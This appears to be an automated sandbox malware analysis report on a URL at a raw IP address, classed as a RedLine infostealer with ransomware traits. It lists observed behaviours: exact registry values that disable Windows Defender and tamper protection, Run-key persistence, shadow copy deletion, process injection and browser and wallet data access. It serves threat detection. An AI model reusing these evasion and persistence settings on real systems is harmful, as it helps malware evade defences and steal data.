Malware Analysis Report

2024-08-06 09:29

Sample ID 230601-tmev3sfc22
Target http://34.101.154.50
Tags
redline dix diza rocker discovery evasion infostealer persistence pyinstaller ransomware spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

Threat Level: Known bad

The file http://34.101.154.50 was found to be: Known bad.

Malicious Activity Summary

redline dix diza rocker discovery evasion infostealer persistence pyinstaller ransomware spyware stealer trojan upx

Modifies Windows Defender Real-time Protection settings

RedLine payload

RedLine

Deletes shadow copies

Downloads MZ/PE file

Blocklisted process makes network request

UPX packed file

Loads dropped DLL

Reads user/profile data of web browsers

Windows security modification

Executes dropped EXE

Checks computer location settings

Checks installed software on the system

Accesses cryptocurrency files/wallets, possible credential harvesting

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in Windows directory

Enumerates physical storage devices

Detects Pyinstaller

NSIS installer

Suspicious use of WriteProcessMemory

Gathers system information

Interacts with shadow copies

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Gathers network information

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Modifies registry class

Creates scheduled task(s)

Enumerates processes with tasklist

Checks processor information in registry

Suspicious use of SendNotifyMessage

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of SetWindowsHookEx

Modifies data under HKEY_USERS

Enumerates system info in registry

MITRE ATT&CK Matrix V6

Initial Access
TA0001
Execution
TA0002
Scheduled Task
T1053
Command-Line Interface
T1059
Persistence
TA0003
Modify Existing Service
T1031
Registry Run Keys / Startup Folder
T1060
Scheduled Task
T1053
Privilege Escalation
TA0004
Scheduled Task
T1053
Defense Evasion
TA0005
Modify Registry
T1112
Disabling Security Tools
T1089
File Deletion
T1107
Credential Access
TA0006
Credentials in Files
T1081
Discovery
TA0007
Query Registry
T1012
System Information Discovery
T1082
Process Discovery
T1057
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Inhibit System Recovery
T1490

Analysis: static1

Detonation Overview

Reported

2023-06-01 16:10

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-06-01 16:10

Reported

2023-06-01 16:15

Platform

win10v2004-20230220-en

Max time kernel

256s

Max time network

304s

Command Line

"C:\Program Files\Google\Chrome\Application\chrome.exe" "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" http://34.101.154.50

Signatures

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes shadow copies

ransomware

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\h0291068.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\NmI5NGQx.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\x1386670.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\x2563617.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\f8338132.exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\x3618941.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\x4612096.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\f5747904.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
N/A N/A C:\Users\Admin\Downloads\NGVkZTM3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\i7478602.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000035051\foto148.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\x0866244.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\x8891792.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\f5166158.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000036051\fotocr06.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\y2170022.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\y5542834.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\k8989832.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\l9912234.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\g3279811.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\h0291068.exe N/A
N/A N/A C:\Users\Admin\Downloads\ZTQ3MDM2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\i3215308.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\m9543478.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\n6343764.exe N/A
N/A N/A C:\Users\Admin\Downloads\ZTQ3MDM2.exe N/A
N/A N/A C:\Users\Admin\Downloads\YzlhMGI2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\Downloads\NGVkZTM3 (1).exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\ODU0ZjFk.exe N/A
N/A N/A C:\Users\Admin\Downloads\NWQ4NTA4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\Downloads\YzlhMGI2 (1).exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (2).exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A
N/A N/A C:\Users\Admin\Downloads\Y2Q0MzM1 (1).exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\Downloads\Y2Q0MzM1.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\1000035051\foto148.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\x8891792.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\y5542834.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\Downloads\NmI5NGQx.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup8 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP009.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\y2170022.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup7 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP008.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\1000036051\fotocr06.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\Downloads\Y2Q0MzM1.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup6 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP007.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP006.TMP\x8891792.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\x2563617.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\x2563617.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\1000035051\foto148.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP006.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\x0866244.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup9 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP010.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP009.TMP\y5542834.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Explorer = "C:\\Windows\\explоrer.exe" C:\Users\Admin\Downloads\YzlhMGI2.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\Downloads\NmI5NGQx.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\x1386670.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\x4612096.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\1000036051\fotocr06.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\y2170022.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\x1386670.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\x3618941.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\x3618941.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\x4612096.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\foto148.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000035051\\foto148.exe" C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fotocr06.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000036051\\fotocr06.exe" C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\x0866244.exe N/A

Checks installed software on the system

discovery

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4240 set thread context of 748 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe
PID 4240 set thread context of 2128 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\h4990012.exe
PID 3200 set thread context of 4796 N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe
PID 2432 set thread context of 1388 N/A C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\k8989832.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4604 set thread context of 3428 N/A C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\g3279811.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2420 set thread context of 836 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\i3215308.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1636 set thread context of 4356 N/A C:\Users\Admin\AppData\Local\Temp\IXP008.TMP\n6343764.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3892 set thread context of 264 N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe
PID 3184 set thread context of 4360 N/A C:\Users\Admin\Downloads\YzlhMGI2 (1).exe C:\Windows\SysWOW64\svchost.exe
PID 4360 set thread context of 4972 N/A C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe
PID 4332 set thread context of 4392 N/A C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\explоrer.exe C:\Users\Admin\Downloads\YzlhMGI2.exe N/A
File opened for modification C:\Windows\explоrer.exe C:\Users\Admin\Downloads\YzlhMGI2.exe N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Gathers network information

Description Indicator Process Target
N/A N/A C:\Windows\system32\ipconfig.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133301094262551505" C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000_Classes\Local Settings C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\f5747904.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\f5747904.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\f5747904.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\g3084756.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\l9912234.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\l9912234.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP010.TMP\l9912234.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\f5166158.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\f5166158.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP007.TMP\f5166158.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\i7478602.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\i7478602.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\i7478602.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
